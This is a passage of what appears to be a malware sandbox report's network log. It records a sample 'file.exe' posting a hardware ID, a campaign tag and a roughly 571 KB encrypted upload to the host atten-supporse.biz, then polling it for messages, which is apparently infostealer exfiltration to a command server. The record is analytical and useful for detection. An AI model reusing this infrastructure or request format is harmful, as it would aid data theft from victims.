{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wTh69S8ZPxRUkYkfE8SKFTOAH0WidOZ9kMCNyPDFLdX8H1m0X6DRKC5P2O%2F7qUaj7ES19Q37IBqi7JF3kmndLhqjShDSF66fMdzhcFagO%2BuAIJLfOMIMZ2m3C6Teu39g%2F7SIKz0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef995366e26de96-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1421&min_rtt=1410&rtt_var=551&sent=20&recv=28&lost=0&retrans=0&sent_bytes=2846&recv_bytes=20926&delivery_rate=1946666&cwnd=221&unsent_bytes=0&cid=39291163a3600c60&ts=1160&x=0"
2024-12-10 01:50:14 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 01:50:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49719	104.21.16.1	443	1596	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:50:16 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=CY81QENEL96PLRD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1203 Host: atten-supporse.biz
2024-12-10 01:50:16 UTC	1203	OUT	Data Raw: 2d 2d 43 59 38 31 51 45 4e 45 4c 39 36 50 4c 52 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 41 30 31 33 39 34 34 32 35 46 32 38 46 31 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 43 59 38 31 51 45 4e 45 4c 39 36 50 4c 52 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 43 59 38 31 51 45 4e 45 4c 39 36 50 4c 52 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --CY81QENEL96PLRDContent-Disposition: form-data; name="hwid"65A01394425F28F123D904AF30EFEBBC--CY81QENEL96PLRDContent-Disposition: form-data; name="pid"1--CY81QENEL96PLRDContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-12-10 01:50:16 UTC	1014	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=942qn9jbd8ev6apf97fl93i032; expires=Fri, 04-Apr-2025 19:36:55 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JOPmJxeSul9meVDnsilgyIr26j7%2BRRhUasLt6RJHWBedqYohow2AGPHJI7B3YvE%2Fco8I5QW4Y4rGhhr4eJaphRhqomGx9Ub2sTBWzwY1CmKZ5j7WW7dgognRMsAPxwktNfpGXzU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef99547882241c1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1560&min_rtt=1558&rtt_var=589&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2847&recv_bytes=2119&delivery_rate=1850443&cwnd=205&unsent_bytes=0&cid=37b50a4c0e739964&ts=721&x=0"
2024-12-10 01:50:16 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 01:50:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49725	104.21.16.1	443	1596	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:50:18 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2ZR24JG27IWS User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571345 Host: atten-supporse.biz
2024-12-10 01:50:18 UTC	15331	OUT	Data Raw: 2d 2d 32 5a 52 32 34 4a 47 32 37 49 57 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 35 41 30 31 33 39 34 34 32 35 46 32 38 46 31 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 32 5a 52 32 34 4a 47 32 37 49 57 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 5a 52 32 34 4a 47 32 37 49 57 53 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 32 5a 52 32 34 4a 47 32 Data Ascii: --2ZR24JG27IWSContent-Disposition: form-data; name="hwid"65A01394425F28F123D904AF30EFEBBC--2ZR24JG27IWSContent-Disposition: form-data; name="pid"1--2ZR24JG27IWSContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--2ZR24JG2
2024-12-10 01:50:18 UTC	15331	OUT	Data Raw: 56 de 28 35 45 4f ea 4a 62 f9 64 5c 5d 72 31 a3 f2 b3 74 d1 08 9f d1 c3 f0 43 bd d8 58 f1 07 45 dc 62 3c 18 47 b5 4f f1 7e 19 aa d2 0d 12 38 77 a4 88 57 21 22 2b 5e ff 86 09 a1 7f 7f 34 ec 27 31 2b 44 67 a0 da 27 d7 c5 fa 8a 86 23 19 22 44 35 dd 29 03 80 b1 3d 51 81 3b 4d a2 64 cc 1b 19 c6 44 d8 13 9e 27 5b ab d2 fb 96 cc e1 98 41 98 2d 24 b8 25 81 e9 43 c3 f1 dc 5b 91 1a 1f af 8f db c6 a9 8f 2b bd fc e2 c0 7c e6 60 cd b2 a7 4b c7 6d df f2 7b 3c 07 07 a5 9d b8 f1 a2 d6 0f 7c d7 2a 34 37 96 fe b8 cb ed 48 80 32 51 91 ac 30 12 2c 30 4d c9 d7 74 6d 20 75 60 2f 32 b2 fb fd 24 77 1a a5 cd 6f 58 70 0f 8d 45 6f d7 87 ed b3 34 c4 c2 b3 f8 12 4a f2 0a fb 4a 31 24 a9 f4 f5 55 cb 8b 66 6a 05 5f ac 7b fa 3d b9 3f 26 e7 eb 7e ad 3f 95 1e 8e 08 4d c4 ee 2a 2d 89 24 89 Data Ascii: V(5EOJbd\]r1tCXEb<GO~8wW!"+^4'1+Dg'#"D5)=Q;MdD'[A-$%C[+\|`Km{<\|47H2Q0,0Mtm u`/2$woXpEo4JJ1$Ufj_{=?&~?M-$
2024-12-10 01:50:18 UTC	15331	OUT	Data Raw: fd 9a f9 40 4b 4a 41 25 bb 79 a2 f3 d1 c7 f0 0a d1 db f4 1f be a2 51 2f 4a 79 ef 7f 44 12 ba 3a d8 2f 1c 08 1e bd 9d 86 f3 07 32 d7 16 de 0c 57 f7 7e 50 25 35 1c d9 7d 87 dd 59 56 3b 9e 58 ed 55 54 35 bf 1e 32 ec 55 36 32 19 ce 5d c9 ac aa 5a d8 fc 10 e2 37 7b b4 8c fc e5 ef d7 10 e3 5d 00 f7 93 93 d6 4f b3 80 ff 7e 64 96 af 74 e8 ab c3 75 05 dc c5 f3 ac c1 cc c0 9d a1 2f 62 ce 1b 87 14 e4 a4 96 36 7f dc 5e a3 8f fe ab 26 6c e2 fc f5 f5 46 86 e8 d8 f2 7d 87 ea f9 6f e1 ac b1 a7 82 35 1d bf d7 4c fe a4 f0 ad 86 d3 51 c5 2c d2 9e 1b 49 7b e8 5d fe 2a b7 af 0f 0b 5b 19 73 4a 1c aa ee be 1b 2a b9 f9 cf 10 7b bd aa 9e 3f 87 a5 1c 36 1a f9 d5 c3 c0 a2 bc 23 f2 c1 7e ef a0 20 d8 af 71 f2 d9 0e 23 ef 4f fb 30 30 b7 6a 1f e3 4c 7e 9c c7 3e 06 f9 cc 71 10 ea f5 ab Data Ascii: @KJA%yQ/JyD:/2W~P%5}YV;XUT52U62]Z7{]O~dtu/b6^&lF}o5LQ,I{][sJ{?6#~ q#O00jL~>q
2024-12-10 01:50:18 UTC	15331	OUT	Data Raw: c1 fc b8 50 a9 ef 0a 69 52 3b f4 27 16 bb 1d e0 c3 7f 69 f3 4f fa aa d7 37 be e4 c6 31 05 ac 0b 91 ac 8a b9 57 8e c9 62 e2 7d 11 9b 24 dd b4 94 ea 4a 19 cf 86 de 80 a2 66 e8 5f e6 c4 9f 2d b0 d4 67 f9 14 46 9b f1 b3 09 87 01 66 dd 9f d1 74 cf ad d3 87 1b 79 e7 bf a2 22 ad 9f ef 90 7c 31 03 80 67 a7 e2 0c e6 2b 27 eb 9e ff e6 b2 fe 9b c8 e9 d3 be a5 94 ac 8d 6e da 65 bd f1 9e 96 d1 17 92 be e7 c2 e0 cf ab f1 6c 18 e2 96 8c e2 3c 56 dd 8e e9 c0 bb b8 e0 c9 57 17 cc 0c 56 64 6d 47 ed a8 0e 8e 96 38 1b 15 90 cc 5d f6 34 5d bb f7 85 fa 93 35 90 67 4a 9f 7b 54 bc 73 77 ff d7 21 fb ed 00 fd 9d c2 12 30 9c f8 19 49 a2 29 d0 8c f8 81 2e 3f 14 cd 0b 26 ca b3 35 d0 dd 3c cc 59 04 50 42 52 f0 d7 a4 8e 27 f3 57 65 4a 00 4d 38 02 02 3d 42 e7 8a 79 a0 1c fe 76 34 42 08 Data Ascii: PiR;'iO71Wb}$Jf_-gFfty"\|1g+'nel<VWVdmG8]4]5gJ{Tsw!0I).?&5<YPBR'WeJM8=Byv4B
2024-12-10 01:50:18 UTC	15331	OUT	Data Raw: 75 e0 d8 e0 10 93 b3 78 5c 13 a2 9d e1 b5 9b 66 bb 25 86 7f 5d 4a 52 c7 f4 69 88 03 97 a7 52 a7 af 82 29 d6 0e 4f fd 03 6d dd c4 16 f3 2b 54 f5 0b 35 06 d5 46 ad 8c 95 88 d6 ff 6d 5d 47 70 dd b5 cc 38 15 1e a1 52 75 3a 13 03 b2 ca 11 6f fe 9f 50 fd 7f 72 b6 01 9c 66 66 4b 11 01 73 18 70 0d 3d 35 62 2f 09 35 bd dc ee fa c5 09 58 c0 01 39 86 84 ec 86 1d 4b 04 08 dd ce 57 85 82 94 e0 74 e1 15 03 40 46 84 89 82 03 5d 77 80 69 77 7d 30 86 ad 86 6a 39 e5 6f 54 38 d4 32 87 ff 67 12 d5 8b 3e 3a d4 2a 5e 80 8c 79 25 41 fe 60 06 e1 e4 33 ea 42 8c be cb 05 bd 9e cd 77 17 c5 11 65 c8 69 5a 6c 2b ae d7 51 38 79 d0 30 a5 3a 56 e9 86 e8 14 4a c0 82 48 45 6c 1e 5e 6a a7 23 88 ec 8b 3e d6 9b b3 1f 37 c3 75 b9 3b 6b 15 54 d8 14 10 2b 39 89 9b 7b fd 90 cd d6 88 a3 c3 b7 f8 Data Ascii: ux\f%]JRiR)Om+T5Fm]Gp8Ru:oPrffKsp=5b/5X9KWt@F]wiw}0j9oT82g>:*^y%A`3BweiZl+Q8y0:VJHEl^j#>7u;kT+9{
2024-12-10 01:50:18 UTC	15331	OUT	Data Raw: c2 4b 1a 59 f0 9b 56 4d 40 5d d1 6c a4 42 0c 36 77 99 bb 06 07 9f d0 b2 84 34 2d 49 10 94 3f 97 fb df 3a bb 7e bb 66 5e e1 32 b8 e3 f7 8c cf 77 64 1c e6 8f f4 bf 33 13 05 00 e0 08 03 8d 44 28 14 30 d7 a7 a6 1e 8c a4 9d 87 f3 c3 eb b0 27 94 1b 9d b7 7b 20 ae 7a ff 61 03 b0 86 cd 53 e0 d5 1f 23 37 87 28 02 e0 d5 52 1b 92 ae c0 a2 a7 84 fe 2a 3d 60 80 9d 0a d0 40 42 bc 88 43 08 13 2a fd 1e 93 7b 9a 10 13 59 ed fb a5 55 e0 85 be b7 e4 cd 96 91 bf 6f d8 b1 aa 3a 0e 39 0a 0b d7 3f d7 bb 55 7a fd 0d 44 1e df b8 bc 47 06 68 df 1c 9a f8 07 b3 f1 15 62 94 55 1f c3 31 04 c7 74 30 42 d0 42 a3 50 af e4 4f 59 7a e3 9e 4b 67 72 b1 be 85 05 35 04 fe 39 38 3e b1 4c 47 34 bc be 0d b6 cb 46 e5 21 b2 fa e2 41 6c e7 5f c9 c9 5f 41 76 20 78 63 4a 2a 1a 78 c5 38 0b c8 79 f8 2b Data Ascii: KYVM@]lB6w4-I?:~f^2wd3D(0'{ zaS#7(R=`@BC{YUo:9?UzDGhbU1t0BBPOYzKgr598>LG4F!Al__Av xcJ*x8y+
2024-12-10 01:50:18 UTC	15331	OUT	Data Raw: e4 83 b8 f6 03 73 ca 8c 50 77 a2 c0 20 3e b5 ee b8 cf da be 16 33 15 c9 4d 40 ad c8 7d 29 db cd 86 83 a0 4e 2d a6 54 bf 80 f7 24 d7 6f 4f 31 36 a4 75 fe 0b 5d 90 91 54 cc c5 a2 14 ed 78 10 07 25 eb 6b 1f 42 64 76 01 db 25 75 cb 03 62 18 18 7f 36 dc de 94 50 69 f5 5c 1c fe 2c 90 c6 fa ed ca fa fd 4f 5d cd b3 08 ee 66 ce f6 24 47 e9 8d 6b 8d 22 c7 2c 98 a5 b0 70 64 63 8f 35 db 3c 7e 31 9c d5 96 b8 a3 1e 43 51 1f 62 50 19 84 f1 c6 bf df be f8 f5 c2 86 6e f7 0a d6 7d e6 35 ee 32 b2 ff 94 ba d1 ea 0c 7d 99 f5 cf 6e a9 01 aa 2a 43 07 3b d5 c3 03 6a 96 bf ff f4 bc 79 29 c4 d2 8a 50 14 b7 59 81 89 9a 7f a3 7a fa fe 89 3b f3 4e 7d 9e 7e b9 3d 4f 5b 04 02 e8 be 37 95 02 f1 da e2 b2 6b 4a 7b 51 f8 e8 d5 c2 47 15 a8 ec 2b 41 8c d1 63 6a 61 bd df 05 bd d5 fe 98 e4 51 Data Ascii: sPw >3M@})N-T$oO16u]Tx%kBdv%ub6Pi\,O]f$Gk",pdc5<~1CQbPn}52}n*C;jy)PYz;N}~=O[7kJ{QG+AcjaQ
2024-12-10 01:50:18 UTC	15331	OUT	Data Raw: 7d 74 6e 88 3f 43 aa f2 51 86 bf 69 7c ae 4e 5b 99 3b 34 39 a7 c3 dc 3d fc 6d f5 28 3f 67 c8 64 e6 58 fd 4d 76 35 29 58 f0 dd 76 90 2e a1 0e 1d 6b 02 e0 a8 0e 98 ee dc 59 11 07 91 9c 63 5e 7b b0 7a de 4c 02 b4 8c a8 d0 6a ee df a7 3d 10 35 0d ff ce dd a7 92 5a 20 e1 ba f5 c5 23 d7 1a 64 bc 4c ef 6f 91 68 11 ab 6f 66 8a 8b 53 44 56 8e 67 17 f6 55 36 3c 2f 2c fe 69 8d 60 4a a3 32 3e 37 b0 fe 13 82 87 a3 e1 13 a2 c0 8e fd 01 12 3c a9 a8 d2 03 48 d0 29 05 9a 4d 7b ed 36 27 49 46 42 54 72 8b 05 60 be ba 3f 18 f4 b5 ae 12 a6 48 27 04 20 e0 44 ce 8b 27 35 3e dc ab 18 be 8f b4 d3 18 32 e8 f6 c6 59 90 ae 89 bb 8c 81 84 81 0c 4f 03 68 e9 af 3f c4 32 dc 1c 0f c0 c3 fa 43 4c 2f 89 c7 95 65 92 40 88 e9 28 4d 67 a2 9b f4 11 4c 06 6f 0d 73 f6 12 fb f2 5e c6 7e de 39 f2 Data Ascii: }tn?CQi\|N[;49=m(?gdXMv5)Xv.kYc^{zLj=5Z #dLohofSDVgU6</,i`J2>7<H)M{6'IFBTr`?H' D'5>2YOh?2CL/e@(MgLos^~9
2024-12-10 01:50:18 UTC	15331	OUT	Data Raw: 6f f6 28 2f e1 5e b1 a2 bd 92 31 34 75 04 e4 29 c4 85 76 b9 6c bc 9f 7b 19 64 b4 2b d5 06 1d f6 b2 49 77 8c 3b 98 91 6a 9f 19 b9 5f b6 d9 56 ef 49 f5 53 4c bf 92 0a 1c 00 1d fc eb 1f dd 28 62 b6 ea 30 f3 2c e2 ef 2b 98 e4 79 46 3a 3b 97 85 f7 f6 81 7e ad 16 26 21 eb d0 d8 ec 5c e0 e0 1c d5 85 68 7e 40 9f 14 aa 97 70 68 43 50 94 17 4c 73 88 29 89 0a af bf 10 e6 46 45 29 c6 7c e9 d5 b7 7f c9 5f a3 34 dc 86 b0 c2 42 31 27 1c 86 aa 5e 3e c1 b7 f0 ea 94 29 6e 45 46 f2 1d e7 c3 7a 65 a8 aa cc ac 83 61 46 fc d6 16 f0 8c b1 a3 e7 ed c4 f8 70 78 f5 c9 1f ba 51 a4 0e 16 2a 96 f1 62 89 8b 05 c5 32 a5 c2 eb 67 2d a8 aa e8 6b 08 4a f3 8a c0 33 49 ae 6a 90 50 dc ba b7 2b 13 f4 82 00 01 ee 3b 6d 41 b9 1f db ce 6a da 45 22 3d 82 f5 71 cd ab da 4c 55 35 95 9c ac ab 63 3f Data Ascii: o(/^14u)vl{d+Iw;j_VISL(b0,+yF:;~&!\h~@phCPLs)FE)\|_4B1'^>)nEFzeaFpxQ*b2g-kJ3IjP+;mAjE"=qLU5c?
2024-12-10 01:50:18 UTC	15331	OUT	Data Raw: 98 04 1b 1b d2 ac 33 86 7a 7d 36 0b 50 6a 05 49 9b 30 24 cc d1 02 f5 a1 33 c3 d5 cd 10 15 87 48 c6 f0 5c df cd 4f b5 7c 5d 98 f7 1d e4 0f f5 2e 0e f8 79 86 cf f5 ae 56 ed 3d ad 15 34 fb 99 ec 37 8b a1 0f 99 73 62 b2 4e 35 d2 e9 7e af fc d9 dc bb fe 6c 9e c1 d8 ac 2e 85 a5 4e fc 4f 6d 60 2f f1 0b 7a 9c ed 03 f1 69 62 94 71 88 d5 6d 43 9e 32 9f ff 50 58 fa 3b d8 7d 5c fc e3 c4 fa 1b 14 70 1b 1e 1c 60 5f 07 f2 a4 ec ea c8 99 c6 d9 0d 47 fa 50 7f 38 ab 9d 85 40 81 70 ff e5 85 6b 1b 11 ee b7 81 5e 29 10 14 04 ee c3 9e 93 08 78 60 a7 0b 3c f0 07 cc 1f 16 b8 85 c7 55 57 6b 1d 0b e7 24 40 64 b9 0c 58 21 f0 fb 76 ce 0a 82 7e d4 6a cc 52 ca fc dc 03 cf c7 7e f6 66 cb f7 9c 2b 6f 14 97 37 59 31 23 9d 13 3f 5c 04 86 67 08 b4 27 80 75 3f 1a 76 de 05 32 f6 38 fc ef b8 Data Ascii: 3z}6PjI0$3H\O\|].yV=47sbN5~l.NOm`/zibqmC2PX;}\p`_GP8@pk^)x`<UWk$@dX!v~jR~f+o7Y1#?\g'u?v28
2024-12-10 01:50:23 UTC	1025	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8ulhodme3djembsui0dq90qd91; expires=Fri, 04-Apr-2025 19:37:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l8UUcQB9yZv12Fi9sIXxprf3j5hjiA1NHhhh7owlb%2BWeNiSmOCpr%2FdLPbBA29Y8L5SOx9M0ZchSUGy9fGd5jRt%2BQKtL2R68oK%2BOvhfvyJIyxmtVQ4zfUcChA8ZjA6F69pFODumM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef995570c448c3c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1775&min_rtt=1768&rtt_var=677&sent=205&recv=598&lost=0&retrans=0&sent_bytes=2846&recv_bytes=573888&delivery_rate=1600877&cwnd=221&unsent_bytes=0&cid=b0e4c03fc78e8130&ts=5097&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49731	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:50:20 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 72 63 31 58 6d 51 49 65 44 30 32 34 36 43 46 42 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 32 64 39 39 35 64 38 65 38 35 63 65 31 34 37 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: rc1XmQIeD0246CFB.1Context: 82d995d8e85ce147
2024-12-10 01:50:20 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-10 01:50:20 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 72 63 31 58 6d 51 49 65 44 30 32 34 36 43 46 42 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 32 64 39 39 35 64 38 65 38 35 63 65 31 34 37 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 67 77 78 75 56 75 36 2f 44 6c 4f 47 31 77 76 66 72 2f 6c 4a 45 6d 48 39 4a 34 44 69 68 78 6b 64 65 30 53 52 32 74 74 33 61 48 39 45 42 34 6f 63 78 69 4a 34 7a 46 77 76 49 7a 71 74 50 7a 54 50 66 2b 68 47 35 7a 31 66 4c 79 76 42 61 68 58 5a 32 33 51 71 4e 4a 5a 56 30 30 69 69 37 33 49 6b 63 71 2f 72 31 62 6e 51 4a 67 47 33 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: rc1XmQIeD0246CFB.2Context: 82d995d8e85ce147<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQgwxuVu6/DlOG1wvfr/lJEmH9J4Dihxkde0SR2tt3aH9EB4ocxiJ4zFwvIzqtPzTPf+hG5z1fLyvBahXZ23QqNJZV00ii73Ikcq/r1bnQJgG3
2024-12-10 01:50:20 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 72 63 31 58 6d 51 49 65 44 30 32 34 36 43 46 42 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 32 64 39 39 35 64 38 65 38 35 63 65 31 34 37 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: rc1XmQIeD0246CFB.3Context: 82d995d8e85ce147<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-10 01:50:21 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-10 01:50:21 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 50 66 41 6b 6b 76 6d 79 4b 30 43 53 49 36 31 32 59 70 2f 69 2b 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: PfAkkvmyK0CSI612Yp/i+g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49746	104.21.16.1	443	1596	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:50:24 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: atten-supporse.biz
2024-12-10 01:50:24 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 36 35 41 30 31 33 39 34 34 32 35 46 32 38 46 31 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=65A01394425F28F123D904AF30EFEBBC
2024-12-10 01:50:25 UTC	1014	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 01:50:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ln46re4roe09ekd0sdsgfck9tt; expires=Fri, 04-Apr-2025 19:37:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Tl4iII5SYcKegoEs0v2cw3QwrKU8FbL4NvZALd8MOkcgM6%2FZ9Z45rdedYh6Qw9ZJ3Okdp077e57vva%2F53XS2JOp1tdh895XqcS06AsBSCRd6qCIE8YVzH7nuRzZanVvrNS5q7lo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ef9957f38778cd7-EWR alt-svc: h3=":443"; ma=86400 server-timing: 